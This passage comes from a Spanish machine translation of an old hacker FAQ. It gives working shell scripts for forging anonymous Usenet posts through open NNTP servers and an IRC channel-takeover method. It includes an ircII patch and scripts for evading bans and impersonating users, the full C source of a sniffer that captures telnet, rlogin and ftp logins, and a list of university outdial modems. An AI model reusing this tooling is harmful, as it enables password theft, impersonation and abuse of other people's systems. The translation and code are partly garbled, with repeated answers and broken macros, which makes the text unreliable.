  sed 's/.*-[Ii][Dd]: //'`
echo $msgid

( sleep 5
  echo IHAVE $msgid
  sleep 5
  cat $1
  sleep 1
   echo "."
  sleep 1
  echo QUIT ) | telnet $2 119
======================
```

Si su artículo no aparece en un día o dos, pruebe un servidor diferente.
Estos son fáciles de hallar. El siguiente es un script que separara de un archivo grande
lleno de netnews grabados , una lista de hosts a probar. Revise la salida de
éste si quiere, para quitar nombres de gente obvios y otra basura.

```
======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
======================
```

Una vez que tenga a su lista de hosts, utilicela con el siguiente script.

```
 ======================
#! /bin/sh

while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
  sleep 5
  echo ihave IamSOk00l@podunk.edu
  sleep 4
  echo .
  echo quit
  sleep 1
  echo quit
) | telnet
done
======================
```

Si el anterior script se llamaba "findem" y usa csh, debes escribir:

```
findem < list >& outfile
```

para que se capture TODA la salida de telnet. Ésto toma un tiempo largo, pero cuando acaba, revise el "outfile" y busca marcas de" 335." Éstas marcas son respuestas de servidores que aceptan un artículo. Ésta no es una indicación completamente fiable, algunos servidores responden con aceptación y rechazan artículos más tarde. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears.

A veces los telnets entran en un estado impar (odd), y se paran, particularmente cuando un host se niega a conexiones NNTP . Si usted elimina manualmente estos procesos telnet que se cuelgan pero no el script principal, el script podra continuar . En otras palabras, tiene que supervisar un poco lo que el script encuentra mientras corre.

Se dará cuenta de que otros servidores no toman necesariamente un IHAVE, pero diran "posting ok." Puede hacer probablemente publicaciones regulares en ellos, pero agregarán un "NNTP-Posting-Host: " conteniendo la máquina desde donde USTED lo mando y por eso es impropio para un uso completamente anónimo.

POR FAVOR USAR LA INFORMACION DE ESTE ARTICULO SOLAMNETE PARA PROPOSITOS CONSTRUCTIVOS .

16. ¿Cómo ChanOp en IRC?

Hallazgo un servidor que se se hiende del descanso de IRC y crea su propio

cauce allí usa el nombre del cauce que quiere ChanOp en. Cuando ese [reconnects] del servidor al precio neto, tendrá ChanOp en el real cauce. Si tiene ServerOp en un servidor, puede causarlo hender en propósito.

16. ¿Cómo pirateo ChanOp en IRC?

Halle un servidor de IRC donde is split from y cree su propio canal allí usando el nombre del canal en el que quiere ChanOp . Cuando este servidor reconecte con la red, tendrá ChanOp en el canal real. Si tiene ServerOp en un servidor, puede causarlo it to split on purpose..

Halle un servidor de IRC donde is split from y cree su propio canal allí usando el nombre del canal en el que quiere ChanOp . Cuando este servidor reconecte con la red, tendrá ChanOp en el canal real. Si tiene ServerOp en un servidor, puede causarlo it to split .

17. ¿Cómo modifico el cliente de IRC para esconder mi username real?

Nota: Este FAQ fue escrito por alguien , pero no sé quien.
Si sabe quien originalmente lo escribió , por favor mandame un e-mail.

--EMPIEZA TEXTO CITADO--

Aplicar éstos cambiOS aL codigo fuente de su cliente ircII y recompile consiguiendo asi su nuevo comando ircll / NEWUSER. Este nuevo comando se puede usar como sigue:

* /NEWUSER [new_IRCNAME]
* es el nuevo username a utilizar y es necesario
* [new_IRCNAME] es la nueva cadena IRCNAME a usar y es opcional.
* Este lo desconectará de su servidor y reconecta usando
* la información nueva . Tu podras unirte de nuevo a los canales que estabas
* usando y guarda tu apodo actual.

El efecto cambia básicamente su username/ IRCname en el fly.
Aunque se desconecta de su servidor y reconecta, no se sale del cliente ircll, así guarda toda su información y seudónimos intactos.
És ideal pora bots que quieran ser VERDADERAMENTE molestos en evasión de la prohibición. ;)

Como éste es ahora una orden nueva en ircII, se puede usar en scripts. Aunque se sabe que el reconectar asociado con la orden NEWUSER lleva su tiempo tiempo,asi cualquier orden que sigua inmediatamente a NEWUSER

debe llevar un TIMER. Por ejemplo. para una facil evasión de la prohibición (pero ten cuidado
con infinitas reconexiones cuandoyour site is banned):

```
on ^474 * {
  echo *** Banned from channel $1
  if ($N == [AnnMurray]) {
    nick $randomstring
    join $1
    } {
    nick AnnMurray
    newuser $randomstring
    timer 5 join $1
    }
  }
```

O sólo molestando .... un/ BE alias que sera asumido por el username de una persona y el IRCNAME:

```
alias be {
  ^on ^311 * {
    ^on 311 -*
    newuser $2 $5-
    }
  whois $0
  }
```

Ahora. para agregar esta orden a su cliente de ircII, consiga el ultimo codigo fuente del cliente (o cualquier
fuente del cliente que usted use). Cd en eldirectorio source y revise el archivo "edit.c." Haga lo siguientes cambios:

Localice la línea que dice:
extern void server();

Inserte la línea siguiente después de ella:
static void newuser();

Ésto pre-define una función nueva "newuser ()" que agregaremos más tarde.

Ahora, localiza la línea que pone:
"NAMES", "NAMES", funny_stuff, 0,

Inserte la línea siguiente después de ella:
"NEWUSER", NULL, newuser, 0,

Ésto agrega una orden nueva NEWUSER a la lista de ordenes validas en IRCII, y llamara a nuestra nueva funcion newuser() al ejecutarlo.

Finalmente, al final del archivo agrege el codigo siguiente con nuestra nueva funcion "newuser()":

```
/*
 * newuser: the /NEWUSER command.  Added by Hendrix
 *   Parameters as follows:
 *     /NEWUSER  [new_IRCNAME]
 *        is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channels you
 *     are currently on and keep your current nickname.
 */

static void    newuser(command, args)
char    *command,
            *args;
{
            char    *newuname;

            if (newuname = next_arg(args, &args))
            {
                        strmcpy(username, newuname, NAME_LEN);
                        if (*args)
                                    strmcpy(realname, args, REALNAME_LEN);
                        say("Reconnecting to server...");
                        close_server(from_server);
                        if (connect_to_server(server_list[from_server].name,
                             server_list[from_server].port, primary_server) != -1)
                        {
                                    change_server_channels(primary_server, from_server);
                                    set_window_server(-1, from_server, 1);
                        }
                        else
                                    say("Unable to reconnect. Use /SERVER to connect.");
            }
            else
                        say("You must specify a username and, optionally, an IRCNAME");
}
```

 -- END QUOTED TEXT --

/ NEWUSER no lo esconderá de una pregunta CTCP .Para hacer esto, modifica el ctcp.c
como se muestra en el diff siguiente y fije la variable de ambiente llamada CTCPFINGER con la información que le gustaría nostrar cuando pregunten.

```
*** ctcp.old
--- ctcp.c
```

```
***************
*** 334 ****
!       char    c;
--- 334 ---
!       char    c, *fing;
***************
*** 350,354 ****
!               if (pwd = getpwuid(uid))
                        {
                                char    *tmp;
--- 350,356 ----
!               if (fing = getenv("CTCPFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
                        {
                                char    *tmp;
```

18. ¿Cómo cambio a directorios con carácteres extraños en ellos?

Se usan estos directorios a menudo por personas que tratan de esconder información, casi siempre warez (software comercial).

Hay varias cosas que puede hacer para determinar qué son estos extraños carácteres. Uno es usar los argumentos del comando ls que le daran más información:

De las paginas man de ls

- F Hace que los directorios se marquen con un "/ " , se marcan archivos ejecutables con un asterisco " * " y se marcan los enlaces simbólicos con un " @ "

- q Fuerza la impresión de carácteres no gráficos en los nombres de ficheros como el carácter " ? ".

- b Fuerza la impresión de carácteres no gráficos en la anotacion \ddd , en octal.

Quizás la herramienta más útil es simplementemente hacer un "ls -al filename" para guardad el el directorio
del sitio del ftp remoto como un archivo en su maquina local. Entonces puede hacer un "cat -t -v -e filename"
y ver exactamentequé son esos pequeños carácteres raros .

De la pagina man del comando cat:

- v Causa que carácteres de no impresión (con la excepción de [tabs], [newlines], y form feeds) se visualicen. Carácteres de control se visualizan como ^X (< Ctrl> x), donde X es la tecla pulsada con el < Ctrl> teclas (por ejemplo,< Ctrl>m se visualizan como^ M). El caracter < Del> (carácter octal 0177)
se imprime como ^?. Los caracteres no ASCII

(con el high bit set) se imprimen como M- x, donde
x es el carácter especificado por los siete low order bits..

- t Provoca que tabs se imprima como ^I y form feeds como ^ L. Ésta se ignora opción si la opcion - v no se especifica.

- e Causa que un caracter $ se imprima al final de cada línea (new-line). Se ignora esta opción si la opcion - v no esta activa.

Si el nombre del directorio incluye un < ESPACIO> o un requerirá que encierre el nombre del directorio entero entre comillas. Ejemplo:

cd".."

En un IBM-PC entraría estos carácteres especiales sujetando la tecla y pulsando el valor decimal del carácter especial en su teclado pequeño numérico. Cuando suelta la tecla el caracter especial debe aparecer en su pantalla. Un mapa ASCII puede ser asi mismo útil.

A veces la gente crea directorios con algunos de la norma stty, carácteres del mando, en ellos, tal como ^Z (suspender) o ^C ([intr]). Para entrar en esos directorios, primero es necesario que el stty del usuario para cambiar el carácter de mando en cuestion a otro carácter.

De la pagina man stty:

Control assignments

control-character C
Sets control-character to C, where control-character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp.

start and stop are available as possible control characters for the control-character C assignment.

If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding control character (for example, ^D is a d; ^? is interpreted as DELETE and ^- is interpreted as undefined).

Use el comando stty -a para ver su configuracion actual de stty, y para determinar que es lo que causa problemas.

19. ¿Qué es un ethernet sniffing?

Un ethernet sniffing escucha (con software) al dispositivo ethernet en bruto para recibir paquetes que le interesan a usted.
Cuando su software ve unpaquete que encaja con criterios de seguridad, lo anota en un archivo. Los criterios más
comúnes para que un paquete sea interesante son que contenga palabras
como "login" o "password"

Muchos sniffers de ethernet estan disponibles, aquí estan algunos para su sistema.

```
OS              Sniffer
~~              ~~~~~~~
4.3/4.4 BSD     tcpdump          /* Available via anonymous ftp          */
FreeBSD         tcpdump          /* Available via anonymous ftp at       */
                                 /* gatekeeper.dec.com
                                 /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/
*/
NetBSD          tcpdump          /* Available via anonymous ftp at       */
                                 /* gatekeeper.dec.com
                                 /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix        tcpdump          /* Available via anonymous ftp          */
DEC Ultrix      tcpdump          /* Available via anonymous ftp          */
HP/UX           nettl  (monitor)
            & netfmt (display)
                nfswatch         /* Available via anonymous ftp          */
Linux           tcpdump          /* Available via anonymous ftp at       */
                                 /* sunsite.unc.edu                      */
                                 /* /pub/Linux/system/Network/management/ */
SGI Irix        nfswatch         /* Available via anonymous ftp          */
            Etherman
            tcpdump              /* Available via anonymous ftp          */
Solaris         snoop
            tcpdump
SunOS           etherfind
            nfswatch             /* Available via anonymous ftp          */
            tcpdump              /* Available via anonymous ftp          */
DOS             ETHLOAD          /* Available via anonymous ftp as       */
                                 /* ethld104.zip                         */
            The Gobbler          /* Available via anonymous ftp          */
            LanPatrol
            LanWatch
                    Netmon
            Netwatch
            Netzhack             /* Available via anonymous ftp at       */
                                 /* mistress.informatik.unibw-muenchen.de */
                                 /* /pub/netzhack.mac                    */
Macintosh       Etherpeek
```

Aquí está el codigo fuente de un sniffer de ethernet :

/* Esniff.c */

```
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }
```

```
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
    struct CREC *Next,
                *Last;
    time_t  Time;             /* start time */
    struct in_addr SRCip,
                   DSTip;
    u_int   SRCport,          /* src/dst ports */
            DSTport;
    u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
    u_int   Length;           /* current data length */
    u_int   PKcnt;            /* # pkts */
    u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
     gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
```

```
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
```

```
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
```

```
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                     NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIMENext; \
       if(CLe->Time ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);
```

```
 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;
```

```
    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
```

```
    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                     *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
```

```
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac< 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
```

```
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s0 ) {
              ioctl(s,TIOCNOTTY,(char *)NULL);
              close(s);
        }
     }
     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
     fflush(LOG);

     do_it();
}
```

20. ¿Qué es un internet Outdial?

Un outdial de la internet es un módem conectado a la internet que se puede usar para llamar fuera. normalmente los outdials sólo llaman a números locales. Un GOD (Global OutDial) es capaz de llamadas a larga distancia. Outdials es un método barato de llamar a BBS a larga distancia.

21. ¿Cuales son algunos internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

Internet Outdial List v3.0
by Cavalier and DisordeR

Introduction

Hay varias listas de outdials de internet flotante estos días. El siguiente es una recopilación de otras listas, tan satisfactorio como v2.0 por DeadKat (CoTNo 2, artículo 4). Diferente a otras listas donde el autor sólo lo consiguio de otras personas y lo soltó, nos hemos sentado y probamos cada uno de los siguientes. Algunos de ellos que hemos hecho y nos contestaron "Conexión refused" o no establecian conexion en un tiempo determinado mientras tratabamos de conectar. se han etiquetado como muertos ..

Working Outdials
---
as of 12/29/94

NPA	IP Address	Instructions
215	isn.upenn.edu	modem
217	dialout.cecer.army.mil	atdt x,xxxXXXXX
218	modem.d.umn.edu	atdt9,xxxXXXX
303	yuma.acns.colostate.edu 3020	
412	myriad.pc.cc.cmu.edu 2600	Press D at the prompt
412	gate.cis.pitt.edu	tn3270, connect dialout.pitt.edu, atdtxxxXXXX
413	dialout2400.smith.edu	Ctrl } gets ENTER NUMBER: xxxxxxx
502	outdial.louisville.edu	
502	uknet.uky.edu	connect kecnet @ dial: "outdial2400 or out"
602	acssdial.inre.asu.edu	atdt8,,,,,[x][yyy]xxxyyyy
614	ns2400.acs.ohio-state.edu	
614	ns9600.acs.ohio-state.edu	
713	128.249.27.153	atdt x,xxxXXXX
714	modem.nts.uci.edu	atdt[area]0[phone]
804	ublan.virginia.edu	connect hayes, 9,,xxx-xxxx
804	ublan2.acc.virginia.edu	connect telnet connect hayes

Need Password

206	rexair.cac.washington.edu	This is an unbroken password
303	yuma.ACNS.ColoState.EDU	login: modem
404	128.140.1.239	.modem8|CR
415	annex132-1.EECS.Berkeley.EDU	"dial1" or "dial2" or "dialer1"
514	cartier.CC.UMontreal.CA	externe,9+number
703	wal-3000.cns.vt.edu	dial2400 -aa

Dead/No Connect
---

201 idsnet
202 modem.aidt.edu
204 dial.cc.umanitoba.ca
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
207 modem-o.caps.maine.edu
212 B719-7e.NYU.EDU dial3/dial12/dial24
212 B719-7f.NYU.EDU dial3/dial12/dial24
212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
212 FREE-138-229.NYU.EDU dial3/dial12/dial24
212 UP19-4b.NYU.EDU dial3/dial12/dial24
215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
218 aa28.d.umn.edu "cli" "rlogin modem"
at "login:" type "modem"
218 modem.d.umn.edu Hayes 9,XXX-XXXX
301 dial9600.umd.edu
305 alcat.library.nova.edu
305 office.cis.ufl.edu
307 modem.uwyo.edu Hayes 0,XXX-XXXX
313 35.1.1.6 dial2400-aa or dial1200-aa
or dialout
402 dialin.creighton.edu
402 modem.criegthon.edu
404 broadband.cc.emory.edu ".modem8" or ".dialout"
408 dialout.scu.edu
408 dialout1200.scu.edu
408 dialout2400.scu.edu
408 dialout9600.scu.edu
413 dialout.smith.edu
414 modems.uwp.edu
416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
416 pacx.utcs.utoronto.ca modem
503 dialout.uvm.edu
513 dialout24.afit.af.mil
513 r596adi1.uc.edu
514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
517 engdial.cl.msu.edu
602 dial9600.telcom.arizona.edu
603 dialout1200.unh.edu
604 dial24-nc00.net.ubc.ca
604 dial24-nc01.net.ubc.ca
604 dial96-np65.net.ubc.ca
604 gmodem.capcollege.bc.ca
604 hmodem.capcollege.bc.ca
609 128.119.131.11X (X= 1 - 4) Hayes

609 129.119.131.11x (x = 1 to 4)
609 wright-modem-1.rutgers.edu
609 wright-modem-2.rutgers.edu
612 modem_out12e7.atk.com
612 modem_out24n8.atk.com
614 ns2400.ircc.ohio-state.edu "dial"
615 dca.utk.edu dial2400 D 99k #
615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
616 modem.calvin.edu
617 128.52.30.3 2400baud
617 dialout.lcs.mit.edu
617 dialout1.princeton.edu
617 isdn3.Princeton.EDU
617 jadwingymkip0.Princeton.EDU
617 lord-stanley.Princeton.EDU
617 mpanus.Princeton.EDU
617 mrmodem.wellesley.edu
617 old-dialout.Princeton.EDU
617 stagger.Princeton.EDU
617 sunshine-02.lcs.mit.edu
617 waddle.Princeton.EDU
619 128.54.30.1 atdt [area][phone]
619 dialin.ucsd.edu "dialout"
703 modem_pool.runet.edu
703 wal-3000.cns.vt.edu
713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx"
or "Hayes"
713 modem12.bcm.tmc.edu
713 modem24.bcm.tmc.edu
713 modem24.bcm.tmc.edu
714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
714 modem24.nts.uci.edu
714 pub-gopher.cwis.uci.edu
801 dswitch.byu.edu "C Modem"
808 irmodem.ifa.hawaii.edu
902 star.ccs.tuns.ca "dialout"
916 129.137.33.72
916 cc-dnet.ucdavis.edu connect hayes/dialout
916 engr-dnet1.engr.ucdavis.edu UCDNET C KEYCLUB
??? 128.119.131.11X (1 - 4)
??? 128.200.142.5
??? 128.54.30.1 nue, X to discontinue, ? for Help
??? 128.6.1.41
??? 128.6.1.42
??? 129.137.33.72
??? 129.180.1.57
??? 140.112.3.2 ntu
??? annexdial.rz.uni-duesseldorf.de
??? dial96.ncl.ac.uk
??? dialout.plk.af.mil

???	ee21.ee.ncu.edu.tw	cs8005
???	im.mgt.ncu.edu.tw	guest
???	modem.cis.uflu.edu	
???	modem.ireq.hydro.qc.ca	
???	modems.csuohio.edu	
???	sparc20.ncu.edu.tw	u349633
???	sun2cc.nccu.edu.tw	?
???	ts-modem.une.oz.au	
???	twncu865.ncu.edu.tw	guest
???	vtnet1.cns.ut.edu	"CALL" or "call"

Conclusión

Si halla que cualquier outdials ha muerto, cambió de ordenes,
o requiere contraseña, por favor permitir que lo sepamos para que podamos guardar esta lista lo mas
exacta como sea posible. Si a usted le gustaría aumentar la lista, sientase libre
de mandarnos por correo la informacion y se incluirá en versiones futuras de esta lista,
con su nombre al lado. Diviertase....

[Nota de Editores: Puesto al día este documento después de
la publicación original]

22. ¿Cual es este sistema?

AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

[ sabrá que es AIX sistema porque es el unico sistema Unix que]
[ aclara la pantalla y pone el login cerca de la parte superior de la]
[ pantalla]

AS/400
~~~~~~
UserID?
Password?

Una vez dentro, escribe GO MAIN

CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
~~~~~~~~~

COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:

Normalmente sólo con pulsar return a la peticion de la familia vale. La próxima peticion es:
USER NAME:

CISCO Router
~~~~~~~~~~~~

FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1

Console Port

